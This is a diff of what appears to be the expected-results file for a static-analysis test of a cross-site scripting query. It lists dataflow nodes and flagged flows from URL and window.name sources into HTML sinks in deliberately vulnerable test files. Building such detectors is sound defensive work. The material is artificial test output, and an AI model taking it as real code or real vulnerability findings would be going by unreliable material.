+| tst.js:46:21:46:44 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:47:16:47:45 | chop(do ... search) | semmle.label | chop(do ... search) |
+| tst.js:47:21:47:44 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:48:16:48:32 | wrap(chop(bar())) | semmle.label | wrap(chop(bar())) |
+| tst.js:48:21:48:31 | chop(bar()) | semmle.label | chop(bar()) |
+| tst.js:48:21:48:31 | chop(bar()) | semmle.label | chop(bar()) |
+| tst.js:48:26:48:30 | bar() | semmle.label | bar() |
+| tst.js:50:34:50:34 | s | semmle.label | s |
+| tst.js:51:18:51:18 | s | semmle.label | s |
+| tst.js:53:25:53:48 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:54:25:54:48 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:56:16:56:20 | bar() | semmle.label | bar() |
+| tst.js:58:1:58:27 | [,docum ... search] [1] | semmle.label | [,docum ... search] [1] |
+| tst.js:58:3:58:26 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:58:46:58:46 | x | semmle.label | x |
+| tst.js:60:20:60:20 | x | semmle.label | x |
+| tst.js:63:49:63:72 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:67:26:67:49 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:68:25:68:48 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:70:33:70:56 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:71:32:71:55 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:76:39:76:62 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:82:30:82:53 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:88:25:88:48 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:93:7:93:44 | v | semmle.label | v |
+| tst.js:93:11:93:34 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:93:11:93:44 | documen ... bstr(1) | semmle.label | documen ... bstr(1) |
+| tst.js:95:18:95:18 | v | semmle.label | v |
+| tst.js:120:18:120:18 | v | semmle.label | v |
+| tst.js:132:29:132:50 | window. ... .search | semmle.label | window. ... .search |
+| tst.js:135:29:135:29 | v | semmle.label | v |
+| tst.js:135:49:135:49 | v | semmle.label | v |
+| tst.js:139:29:139:46 | xssSourceService() | semmle.label | xssSourceService() |
+| tst.js:142:40:142:61 | window. ... .search | semmle.label | window. ... .search |
+| tst.js:161:9:161:41 | target | semmle.label | target |
+| tst.js:161:18:161:41 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:164:28:164:33 | target | semmle.label | target |
+| tst.js:168:9:168:42 | tainted | semmle.label | tainted |
+| tst.js:168:19:168:42 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:170:31:170:37 | tainted | semmle.label | tainted |
+| tst.js:172:42:172:48 | tainted | semmle.label | tainted |
+| tst.js:173:33:173:39 | tainted | semmle.label | tainted |
+| tst.js:175:54:175:60 | tainted | semmle.label | tainted |
+| tst.js:176:45:176:51 | tainted | semmle.label | tainted |
+| tst.js:177:49:177:55 | tainted | semmle.label | tainted |
+| tst.js:181:9:181:42 | tainted | semmle.label | tainted |
+| tst.js:181:19:181:42 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:183:67:183:73 | tainted | semmle.label | tainted |
+| tst.js:184:67:184:73 | tainted | semmle.label | tainted |
+| tst.js:188:35:188:41 | tainted | semmle.label | tainted |
+| tst.js:190:46:190:52 | tainted | semmle.label | tainted |
+| tst.js:191:38:191:44 | tainted | semmle.label | tainted |
+| tst.js:192:35:192:41 | tainted | semmle.label | tainted |
+| tst.js:196:28:196:46 | this.state.tainted1 | semmle.label | this.state.tainted1 |
+| tst.js:197:28:197:46 | this.state.tainted2 | semmle.label | this.state.tainted2 |
+| tst.js:198:28:198:46 | this.state.tainted3 | semmle.label | this.state.tainted3 |
+| tst.js:202:32:202:49 | prevState.tainted4 | semmle.label | prevState.tainted4 |
+| tst.js:209:28:209:46 | this.props.tainted1 | semmle.label | this.props.tainted1 |
+| tst.js:210:28:210:46 | this.props.tainted2 | semmle.label | this.props.tainted2 |
+| tst.js:211:28:211:46 | this.props.tainted3 | semmle.label | this.props.tainted3 |
+| tst.js:215:32:215:49 | prevProps.tainted4 | semmle.label | prevProps.tainted4 |
+| tst.js:220:35:220:41 | tainted | semmle.label | tainted |
+| tst.js:222:20:222:26 | tainted | semmle.label | tainted |
+| tst.js:224:23:224:29 | tainted | semmle.label | tainted |
+| tst.js:225:23:225:29 | tainted | semmle.label | tainted |
+| tst.js:231:39:231:55 | props.propTainted | semmle.label | props.propTainted |
+| tst.js:235:60:235:82 | this.st ... Tainted | semmle.label | this.st ... Tainted |
+| tst.js:239:23:239:29 | tainted | semmle.label | tainted |
+| tst.js:243:7:243:17 | window.name | semmle.label | window.name |
+| tst.js:244:7:244:10 | name | semmle.label | name |
+| tst.js:248:11:248:21 | window.name | semmle.label | window.name |
+| tst.js:264:22:264:29 | location | semmle.label | location |
+| tst.js:269:9:269:29 | tainted | semmle.label | tainted |
+| tst.js:269:19:269:29 | window.name | semmle.label | window.name |
+| tst.js:272:59:272:65 | tainted | semmle.label | tainted |
+| tst.js:285:9:285:16 | location | semmle.label | location |
+| tst.js:286:10:286:10 | e | semmle.label | e |
+| tst.js:287:20:287:20 | e | semmle.label | e |
+| tst.js:292:10:292:17 | location | semmle.label | location |
+| tst.js:294:10:294:10 | e | semmle.label | e |
+| tst.js:295:20:295:20 | e | semmle.label | e |
+| tst.js:300:35:300:42 | location | semmle.label | location |
+| tst.js:311:10:311:35 | new URL ... cation) [searchParams, MapValue] | semmle.label | new URL ... cation) [searchParams, MapValue] |
+| tst.js:311:10:311:35 | new URL ... cation) [searchParams] | semmle.label | new URL ... cation) [searchParams] |
+| tst.js:311:18:311:34 | document.location | semmle.label | document.location |
+| tst.js:315:7:315:43 | params | semmle.label | params |
+| tst.js:315:7:315:43 | params [MapValue] | semmle.label | params [MapValue] |
+| tst.js:315:16:315:30 | getTaintedUrl() [searchParams, MapValue] | semmle.label | getTaintedUrl() [searchParams, MapValue] |
+| tst.js:315:16:315:30 | getTaintedUrl() [searchParams] | semmle.label | getTaintedUrl() [searchParams] |
+| tst.js:315:16:315:43 | getTain ... hParams | semmle.label | getTain ... hParams |
+| tst.js:315:16:315:43 | getTain ... hParams [MapValue] | semmle.label | getTain ... hParams [MapValue] |
+| tst.js:316:18:316:23 | params | semmle.label | params |
+| tst.js:316:18:316:23 | params [MapValue] | semmle.label | params [MapValue] |
+| tst.js:316:18:316:35 | params.get('name') | semmle.label | params.get('name') |
+| tst.js:325:12:325:37 | new URL ... cation) [hash] | semmle.label | new URL ... cation) [hash] |
+| tst.js:325:20:325:36 | document.location | semmle.label | document.location |
+| tst.js:327:5:327:12 | getUrl() [hash] | semmle.label | getUrl() [hash] |
+| tst.js:327:5:327:17 | getUrl().hash | semmle.label | getUrl().hash |
+| tst.js:327:5:327:30 | getUrl( ... ring(1) | semmle.label | getUrl( ... ring(1) |
+| tst.js:332:7:332:39 | target | semmle.label | target |
+| tst.js:332:16:332:39 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:333:12:333:17 | target | semmle.label | target |
+| tst.js:339:10:339:42 | target | semmle.label | target |
+| tst.js:339:19:339:42 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:340:16:340:21 | target | semmle.label | target |
+| tst.js:341:20:341:25 | target | semmle.label | target |
+| tst.js:344:21:344:26 | target | semmle.label | target |
+| tst.js:347:18:347:23 | target | semmle.label | target |
+| tst.js:355:7:355:39 | target | semmle.label | target |
+| tst.js:355:16:355:39 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:357:18:357:23 | target | semmle.label | target |
+| tst.js:364:7:364:39 | target | semmle.label | target |
+| tst.js:364:16:364:39 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:367:18:367:23 | target | semmle.label | target |
+| tst.js:369:18:369:23 | target | semmle.label | target |
+| tst.js:369:18:369:29 | target.taint | semmle.label | target.taint |
+| tst.js:374:3:374:8 | [post update] target [taint3] | semmle.label | [post update] target [taint3] |
+| tst.js:374:19:374:42 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:375:18:375:23 | target [taint3] | semmle.label | target [taint3] |
+| tst.js:375:18:375:30 | target.taint3 | semmle.label | target.taint3 |
+| tst.js:380:18:380:23 | target | semmle.label | target |
+| tst.js:380:18:380:30 | target.taint5 | semmle.label | target.taint5 |
+| tst.js:389:18:389:23 | target | semmle.label | target |
+| tst.js:389:18:389:30 | target.taint7 | semmle.label | target.taint7 |
+| tst.js:391:3:391:8 | [post update] target [taint8] | semmle.label | [post update] target [taint8] |
+| tst.js:391:19:391:24 | target | semmle.label | target |
+| tst.js:391:19:391:24 | target [taint8] | semmle.label | target [taint8] |
+| tst.js:391:19:391:31 | target.taint8 | semmle.label | target.taint8 |
+| tst.js:392:18:392:23 | target [taint8] | semmle.label | target [taint8] |
+| tst.js:392:18:392:30 | target.taint8 | semmle.label | target.taint8 |
+| tst.js:399:7:399:46 | payload | semmle.label | payload |
+| tst.js:399:17:399:36 | window.location.hash | semmle.label | window.location.hash |
+| tst.js:399:17:399:46 | window. ... bstr(1) | semmle.label | window. ... bstr(1) |
+| tst.js:400:18:400:24 | payload | semmle.label | payload |
+| tst.js:402:7:402:55 | match | semmle.label | match |
+| tst.js:402:15:402:34 | window.location.hash | semmle.label | window.location.hash |
+| tst.js:402:15:402:55 | window. ... (\\w+)/) | semmle.label | window. ... (\\w+)/) |
+| tst.js:404:20:404:24 | match | semmle.label | match |
+| tst.js:404:20:404:27 | match[1] | semmle.label | match[1] |
+| tst.js:407:18:407:37 | window.location.hash | semmle.label | window.location.hash |
+| tst.js:407:18:407:48 | window. ... it('#') [1] | semmle.label | window. ... it('#') [1] |
+| tst.js:407:18:407:51 | window. ... '#')[1] | semmle.label | window. ... '#')[1] |
+| tst.js:411:7:411:39 | target | semmle.label | target |
+| tst.js:411:16:411:39 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:413:18:413:23 | target | semmle.label | target |
+| tst.js:413:18:413:89 | target. ... data>') | semmle.label | target. ... data>') |
+| tst.js:419:6:419:38 | source | semmle.label | source |
+| tst.js:419:15:419:38 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:423:28:423:33 | source | semmle.label | source |
+| tst.js:424:33:424:38 | source | semmle.label | source |
+| tst.js:425:34:425:39 | source | semmle.label | source |
+| tst.js:426:41:426:46 | source | semmle.label | source |
+| tst.js:427:44:427:49 | source | semmle.label | source |
+| tst.js:428:32:428:37 | source | semmle.label | source |
+| tst.js:436:7:436:39 | source | semmle.label | source |
+| tst.js:436:16:436:39 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:438:18:438:23 | source | semmle.label | source |
+| tst.js:439:18:439:42 | ansiToH ... source) | semmle.label | ansiToH ... source) |
+| tst.js:439:36:439:41 | source | semmle.label | source |
+| tst.js:443:6:443:38 | source | semmle.label | source |
+| tst.js:443:15:443:38 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:446:21:446:26 | source | semmle.label | source |
+| tst.js:448:19:448:24 | source | semmle.label | source |
+| tst.js:450:20:450:25 | source | semmle.label | source |
+| tst.js:454:7:454:46 | url | semmle.label | url |
+| tst.js:454:13:454:36 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:454:13:454:46 | documen ... bstr(1) | semmle.label | documen ... bstr(1) |
+| tst.js:456:19:456:21 | url | semmle.label | url |
+| tst.js:457:26:457:28 | url | semmle.label | url |
+| tst.js:458:25:458:27 | url | semmle.label | url |
+| tst.js:459:20:459:22 | url | semmle.label | url |
+| tst.js:469:22:469:24 | url | semmle.label | url |
+| tst.js:474:23:474:35 | location.hash | semmle.label | location.hash |
+| tst.js:474:23:474:45 | locatio ... bstr(1) | semmle.label | locatio ... bstr(1) |
+| tst.js:477:18:477:30 | location.hash | semmle.label | location.hash |
+| tst.js:477:18:477:40 | locatio ... bstr(1) | semmle.label | locatio ... bstr(1) |
+| tst.js:484:33:484:63 | decodeU ... n.hash) | semmle.label | decodeU ... n.hash) |
+| tst.js:484:43:484:62 | window.location.hash | semmle.label | window.location.hash |
+| tst.js:491:7:491:39 | target | semmle.label | target |
+| tst.js:491:16:491:39 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:492:18:492:23 | target | semmle.label | target |
+| tst.js:492:18:492:54 | target. ... "), '') | semmle.label | target. ... "), '') |
+| tst.js:498:7:498:26 | source | semmle.label | source |
+| tst.js:498:16:498:26 | window.name | semmle.label | window.name |
+| tst.js:499:18:499:33 | unescape(source) | semmle.label | unescape(source) |
+| tst.js:499:27:499:32 | source | semmle.label | source |
+| typeahead.js:20:13:20:45 | target | semmle.label | target |
+| typeahead.js:20:22:20:45 | documen ... .search | semmle.label | documen ... .search |
+| typeahead.js:21:12:21:17 | target | semmle.label | target |
+| typeahead.js:24:30:24:32 | val | semmle.label | val |
+| typeahead.js:25:18:25:20 | val | semmle.label | val |
+| v-html.vue:2:8:2:23 | v-html=tainted | semmle.label | v-html=tainted |
+| v-html.vue:6:42:6:58 | document.location | semmle.label | document.location |
+| various-concat-obfuscations.js:2:6:2:39 | tainted | semmle.label | tainted |
+| various-concat-obfuscations.js:2:16:2:39 | documen ... .search | semmle.label | documen ... .search |
+| various-concat-obfuscations.js:4:4:4:31 | "<div>" ... </div>" | semmle.label | "<div>" ... </div>" |
+| various-concat-obfuscations.js:4:14:4:20 | tainted | semmle.label | tainted |
+| various-concat-obfuscations.js:5:4:5:26 | `<div>$ ... </div>` | semmle.label | `<div>$ ... </div>` |
+| various-concat-obfuscations.js:5:12:5:18 | tainted | semmle.label | tainted |
+| various-concat-obfuscations.js:6:4:6:26 | "<div>" ... ainted) | semmle.label | "<div>" ... ainted) |
+| various-concat-obfuscations.js:6:4:6:43 | "<div>" ... /div>") | semmle.label | "<div>" ... /div>") |
+| various-concat-obfuscations.js:6:19:6:25 | tainted | semmle.label | tainted |
+| various-concat-obfuscations.js:7:4:7:31 | ["<div> ... /div>"] | semmle.label | ["<div> ... /div>"] |
+| various-concat-obfuscations.js:7:4:7:38 | ["<div> ... .join() | semmle.label | ["<div> ... .join() |
+| various-concat-obfuscations.js:7:14:7:20 | tainted | semmle.label | tainted |
+| various-concat-obfuscations.js:9:4:9:34 | "<div i ...  "\\"/>" | semmle.label | "<div i ...  "\\"/>" |
+| various-concat-obfuscations.js:9:19:9:25 | tainted | semmle.label | tainted |
+| various-concat-obfuscations.js:10:4:10:27 | `<div i ... ed}"/>` | semmle.label | `<div i ... ed}"/>` |
+| various-concat-obfuscations.js:10:16:10:22 | tainted | semmle.label | tainted |
+| various-concat-obfuscations.js:11:4:11:31 | "<div i ... ainted) | semmle.label | "<div i ... ainted) |
+| various-concat-obfuscations.js:11:4:11:44 | "<div i ... t("/>") | semmle.label | "<div i ... t("/>") |
+| various-concat-obfuscations.js:11:24:11:30 | tainted | semmle.label | tainted |
+| various-concat-obfuscations.js:12:4:12:34 | ["<div  ... "\\"/>"] | semmle.label | ["<div  ... "\\"/>"] |
+| various-concat-obfuscations.js:12:4:12:41 | ["<div  ... .join() | semmle.label | ["<div  ... .join() |
+| various-concat-obfuscations.js:12:19:12:25 | tainted | semmle.label | tainted |
+| various-concat-obfuscations.js:14:24:14:28 | attrs | semmle.label | attrs |
+| various-concat-obfuscations.js:15:10:15:83 | '<div a ... </div>' | semmle.label | '<div a ... </div>' |
+| various-concat-obfuscations.js:15:27:15:55 | (attrs. ... 'left') | semmle.label | (attrs. ... 'left') |
+| various-concat-obfuscations.js:15:28:15:32 | attrs | semmle.label | attrs |
+| various-concat-obfuscations.js:17:24:17:28 | attrs | semmle.label | attrs |
+| various-concat-obfuscations.js:18:10:18:59 | '<div a ... 'left') | semmle.label | '<div a ... 'left') |
+| various-concat-obfuscations.js:18:10:18:88 | '<div a ... ntent)) | semmle.label | '<div a ... ntent)) |
+| various-concat-obfuscations.js:18:10:18:88 | '<div a ... ntent)) [ArrayElement] | semmle.label | '<div a ... ntent)) [ArrayElement] |
+| various-concat-obfuscations.js:18:10:18:105 | '<div a ... /div>') | semmle.label | '<div a ... /div>') |
+| various-concat-obfuscations.js:18:10:18:105 | '<div a ... /div>') [ArrayElement] | semmle.label | '<div a ... /div>') [ArrayElement] |
+| various-concat-obfuscations.js:18:32:18:36 | attrs | semmle.label | attrs |
+| various-concat-obfuscations.js:18:32:18:58 | attrs.d ...  'left' | semmle.label | attrs.d ...  'left' |
+| various-concat-obfuscations.js:20:4:20:47 | indirec ... .attrs) | semmle.label | indirec ... .attrs) |
+| various-concat-obfuscations.js:20:17:20:40 | documen ... .search | semmle.label | documen ... .search |
+| various-concat-obfuscations.js:20:17:20:46 | documen ... h.attrs | semmle.label | documen ... h.attrs |
+| various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) | semmle.label | indirec ... .attrs) |
+| various-concat-obfuscations.js:21:17:21:40 | documen ... .search | semmle.label | documen ... .search |
+| various-concat-obfuscations.js:21:17:21:46 | documen ... h.attrs | semmle.label | documen ... h.attrs |
+| winjs.js:2:7:2:53 | tainted | semmle.label | tainted |
+| winjs.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search |
+| winjs.js:2:17:2:53 | documen ... ring(1) | semmle.label | documen ... ring(1) |
+| winjs.js:3:43:3:49 | tainted | semmle.label | tainted |
+| winjs.js:4:43:4:49 | tainted | semmle.label | tainted |
 subpaths
 | optionalSanitizer.js:34:28:34:35 | tainted2 | optionalSanitizer.js:28:24:28:24 | x | optionalSanitizer.js:29:12:29:12 | x | optionalSanitizer.js:34:16:34:36 | sanitiz ... inted2) |
 | optionalSanitizer.js:41:28:41:35 | tainted3 | optionalSanitizer.js:28:24:28:24 | x | optionalSanitizer.js:29:12:29:12 | x | optionalSanitizer.js:41:16:41:36 | sanitiz ... inted3) |
 | optionalSanitizer.js:45:41:45:46 | target | optionalSanitizer.js:28:24:28:24 | x | optionalSanitizer.js:29:12:29:12 | x | optionalSanitizer.js:45:29:45:47 | sanitizeBad(target) |
 | tooltip.jsx:18:51:18:57 | provide [source] | tooltip.jsx:23:38:23:43 | source | tooltip.jsx:23:38:23:43 | source | tooltip.jsx:18:51:18:59 | provide() |
-| tst.js:40:20:40:43 | documen ... .search | tst.js:36:14:36:14 | x | tst.js:37:10:37:10 | x | tst.js:40:16:40:44 | baz(doc ... search) |
-| tst.js:46:21:46:44 | documen ... .search | tst.js:42:15:42:15 | s | tst.js:43:10:43:31 | "<div>" ... </div>" | tst.js:46:16:46:45 | wrap(do ... search) |
-| tst.js:54:21:54:44 | documen ... .search | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:54:16:54:45 | chop(do ... search) |
-| tst.js:54:21:54:44 | documen ... .search | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:54:16:54:45 | chop(do ... search) |
-| tst.js:54:21:54:44 | documen ... .search | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:54:16:54:45 | chop(do ... search) |
-| tst.js:56:21:56:44 | documen ... .search | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:56:16:56:45 | chop(do ... search) |
-| tst.js:56:21:56:44 | documen ... .search | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:56:16:56:45 | chop(do ... search) |
-| tst.js:56:21:56:44 | documen ... .search | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:56:16:56:45 | chop(do ... search) |
-| tst.js:58:21:58:31 | chop(bar()) | tst.js:42:15:42:15 | s | tst.js:43:10:43:31 | "<div>" ... </div>" | tst.js:58:16:58:32 | wrap(chop(bar())) |
-| tst.js:58:21:58:31 | chop(bar()) | tst.js:42:15:42:15 | s | tst.js:43:10:43:31 | "<div>" ... </div>" | tst.js:58:16:58:32 | wrap(chop(bar())) |
-| tst.js:58:26:58:30 | bar() | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:58:21:58:31 | chop(bar()) |
-| tst.js:58:26:58:30 | bar() | tst.js:48:15:48:15 | s | tst.js:50:12:50:22 | s.substr(1) | tst.js:58:21:58:31 | chop(bar()) |
+| tst.js:34:20:34:43 | documen ... .search | tst.js:31:14:31:14 | x | tst.js:32:10:32:10 | x | tst.js:34:16:34:44 | baz(doc ... search) |
+| tst.js:39:21:39:44 | documen ... .search | tst.js:36:15:36:15 | s | tst.js:37:10:37:31 | "<div>" ... </div>" | tst.js:39:16:39:45 | wrap(do ... search) |
+| tst.js:46:21:46:44 | documen ... .search | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:46:16:46:45 | chop(do ... search) |
+| tst.js:46:21:46:44 | documen ... .search | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:46:16:46:45 | chop(do ... search) |
+| tst.js:46:21:46:44 | documen ... .search | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:46:16:46:45 | chop(do ... search) |
+| tst.js:47:21:47:44 | documen ... .search | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:47:16:47:45 | chop(do ... search) |
+| tst.js:47:21:47:44 | documen ... .search | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:47:16:47:45 | chop(do ... search) |
+| tst.js:47:21:47:44 | documen ... .search | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:47:16:47:45 | chop(do ... search) |
+| tst.js:48:21:48:31 | chop(bar()) | tst.js:36:15:36:15 | s | tst.js:37:10:37:31 | "<div>" ... </div>" | tst.js:48:16:48:32 | wrap(chop(bar())) |
+| tst.js:48:21:48:31 | chop(bar()) | tst.js:36:15:36:15 | s | tst.js:37:10:37:31 | "<div>" ... </div>" | tst.js:48:16:48:32 | wrap(chop(bar())) |
+| tst.js:48:26:48:30 | bar() | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:48:21:48:31 | chop(bar()) |
+| tst.js:48:26:48:30 | bar() | tst.js:41:15:41:15 | s | tst.js:43:12:43:22 | s.substr(1) | tst.js:48:21:48:31 | chop(bar()) |
 | various-concat-obfuscations.js:20:17:20:46 | documen ... h.attrs | various-concat-obfuscations.js:14:24:14:28 | attrs | various-concat-obfuscations.js:15:10:15:83 | '<div a ... </div>' | various-concat-obfuscations.js:20:4:20:47 | indirec ... .attrs) |
 | various-concat-obfuscations.js:21:17:21:46 | documen ... h.attrs | various-concat-obfuscations.js:17:24:17:28 | attrs | various-concat-obfuscations.js:18:10:18:105 | '<div a ... /div>') | various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) |
 | various-concat-obfuscations.js:21:17:21:46 | documen ... h.attrs | various-concat-obfuscations.js:17:24:17:28 | attrs | various-concat-obfuscations.js:18:10:18:105 | '<div a ... /div>') [ArrayElement] | various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) |
-#select
-| addEventListener.js:2:20:2:29 | event.data | addEventListener.js:1:43:1:47 | event | addEventListener.js:2:20:2:29 | event.data | Cross-site scripting vulnerability due to $@. | addEventListener.js:1:43:1:47 | event | user-provided value |
-| addEventListener.js:6:20:6:23 | data | addEventListener.js:5:43:5:48 | {data} | addEventListener.js:6:20:6:23 | data | Cross-site scripting vulnerability due to $@. | addEventListener.js:5:43:5:48 | {data} | user-provided value |
-| addEventListener.js:12:24:12:33 | event.data | addEventListener.js:10:21:10:25 | event | addEventListener.js:12:24:12:33 | event.data | Cross-site scripting vulnerability due to $@. | addEventListener.js:10:21:10:25 | event | user-provided value |
-| angular2-client.ts:24:44:24:71 | \\u0275getDOM ... ().href | angular2-client.ts:24:44:24:71 | \\u0275getDOM ... ().href | angular2-client.ts:24:44:24:71 | \\u0275getDOM ... ().href | Cross-site scripting vulnerability due to $@. | angular2-client.ts:24:44:24:71 | \\u0275getDOM ... ().href | user-provided value |
-| angular2-client.ts:26:44:26:73 | this.ro ... ams.foo | angular2-client.ts:26:44:26:69 | this.ro ... .params | angular2-client.ts:26:44:26:73 | this.ro ... ams.foo | Cross-site scripting vulnerability due to $@. | angular2-client.ts:26:44:26:69 | this.ro ... .params | user-provided value |
-| angular2-client.ts:27:44:27:78 | this.ro ... ams.foo | angular2-client.ts:27:44:27:74 | this.ro ... yParams | angular2-client.ts:27:44:27:78 | this.ro ... ams.foo | Cross-site scripting vulnerability due to $@. | angular2-client.ts:27:44:27:74 | this.ro ... yParams | user-provided value |
-| angular2-client.ts:28:44:28:71 | this.ro ... ragment | angular2-client.ts:28:44:28:71 | this.ro ... ragment | angular2-client.ts:28:44:28:71 | this.ro ... ragment | Cross-site scripting vulnerability due to $@. | angular2-client.ts:28:44:28:71 | this.ro ... ragment | user-provided value |
-| angular2-client.ts:29:44:29:82 | this.ro ... ('foo') | angular2-client.ts:29:44:29:82 | this.ro ... ('foo') | angular2-client.ts:29:44:29:82 | this.ro ... ('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:29:44:29:82 | this.ro ... ('foo') | user-provided value |
-| angular2-client.ts:30:44:30:87 | this.ro ... ('foo') | angular2-client.ts:30:44:30:87 | this.ro ... ('foo') | angular2-client.ts:30:44:30:87 | this.ro ... ('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:30:44:30:87 | this.ro ... ('foo') | user-provided value |
-| angular2-client.ts:32:46:32:59 | map.get('foo') | angular2-client.ts:32:46:32:59 | map.get('foo') | angular2-client.ts:32:46:32:59 | map.get('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:32:46:32:59 | map.get('foo') | user-provided value |
-| angular2-client.ts:35:44:35:74 | this.ro ... 1].path | angular2-client.ts:35:44:35:74 | this.ro ... 1].path | angular2-client.ts:35:44:35:74 | this.ro ... 1].path | Cross-site scripting vulnerability due to $@. | angular2-client.ts:35:44:35:74 | this.ro ... 1].path | user-provided value |
-| angular2-client.ts:36:44:36:82 | this.ro ... eters.x | angular2-client.ts:36:44:36:80 | this.ro ... ameters | angular2-client.ts:36:44:36:82 | this.ro ... eters.x | Cross-site scripting vulnerability due to $@. | angular2-client.ts:36:44:36:80 | this.ro ... ameters | user-provided value |
-| angular2-client.ts:37:44:37:91 | this.ro ... et('x') | angular2-client.ts:37:44:37:91 | this.ro ... et('x') | angular2-client.ts:37:44:37:91 | this.ro ... et('x') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:37:44:37:91 | this.ro ... et('x') | user-provided value |
-| angular2-client.ts:38:44:38:91 | this.ro ... arams.x | angular2-client.ts:38:44:38:89 | this.ro ... .params | angular2-client.ts:38:44:38:91 | this.ro ... arams.x | Cross-site scripting vulnerability due to $@. | angular2-client.ts:38:44:38:89 | this.ro ... .params | user-provided value |
-| angular2-client.ts:40:44:40:58 | this.router.url | angular2-client.ts:40:44:40:58 | this.router.url | angular2-client.ts:40:44:40:58 | this.router.url | Cross-site scripting vulnerability due to $@. | angular2-client.ts:40:44:40:58 | this.router.url | user-provided value |
-| angular2-client.ts:42:45:42:59 | this.router.url | angular2-client.ts:42:45:42:59 | this.router.url | angular2-client.ts:42:45:42:59 | this.router.url | Cross-site scripting vulnerability due to $@. | angular2-client.ts:42:45:42:59 | this.router.url | user-provided value |
-| angular2-client.ts:43:75:43:109 | this.ro ... ams.foo | angular2-client.ts:43:75:43:105 | this.ro ... yParams | angular2-client.ts:43:75:43:109 | this.ro ... ams.foo | Cross-site scripting vulnerability due to $@. | angular2-client.ts:43:75:43:105 | this.ro ... yParams | user-provided value |
-| angular2-client.ts:47:44:47:76 | routeSn ... ('foo') | angular2-client.ts:47:44:47:76 | routeSn ... ('foo') | angular2-client.ts:47:44:47:76 | routeSn ... ('foo') | Cross-site scripting vulnerability due to $@. | angular2-client.ts:47:44:47:76 | routeSn ... ('foo') | user-provided value |
-| angular-tempate-url.js:9:26:9:45 | Cookie.get("unsafe") | angular-tempate-url.js:13:30:13:31 | ev | angular-tempate-url.js:9:26:9:45 | Cookie.get("unsafe") | Cross-site scripting vulnerability due to $@. | angular-tempate-url.js:13:30:13:31 | ev | user-provided value |
-| classnames.js:7:31:7:84 | `<span  ... <span>` | classnames.js:7:58:7:68 | window.name | classnames.js:7:31:7:84 | `<span  ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:7:58:7:68 | window.name | user-provided value |
-| classnames.js:8:31:8:85 | `<span  ... <span>` | classnames.js:8:59:8:69 | window.name | classnames.js:8:31:8:85 | `<span  ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:8:59:8:69 | window.name | user-provided value |
-| classnames.js:9:31:9:85 | `<span  ... <span>` | classnames.js:9:59:9:69 | window.name | classnames.js:9:31:9:85 | `<span  ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:9:59:9:69 | window.name | user-provided value |
-| classnames.js:11:31:11:79 | `<span  ... <span>` | classnames.js:10:45:10:55 | window.name | classnames.js:11:31:11:79 | `<span  ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:10:45:10:55 | window.name | user-provided value |
-| classnames.js:13:31:13:83 | `<span  ... <span>` | classnames.js:13:57:13:67 | window.name | classnames.js:13:31:13:83 | `<span  ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:13:57:13:67 | window.name | user-provided value |
-| classnames.js:15:31:15:78 | `<span  ... <span>` | classnames.js:15:52:15:62 | window.name | classnames.js:15:31:15:78 | `<span  ... <span>` | Cross-site scripting vulnerability due to $@. | classnames.js:15:52:15:62 | window.name | user-provided value |
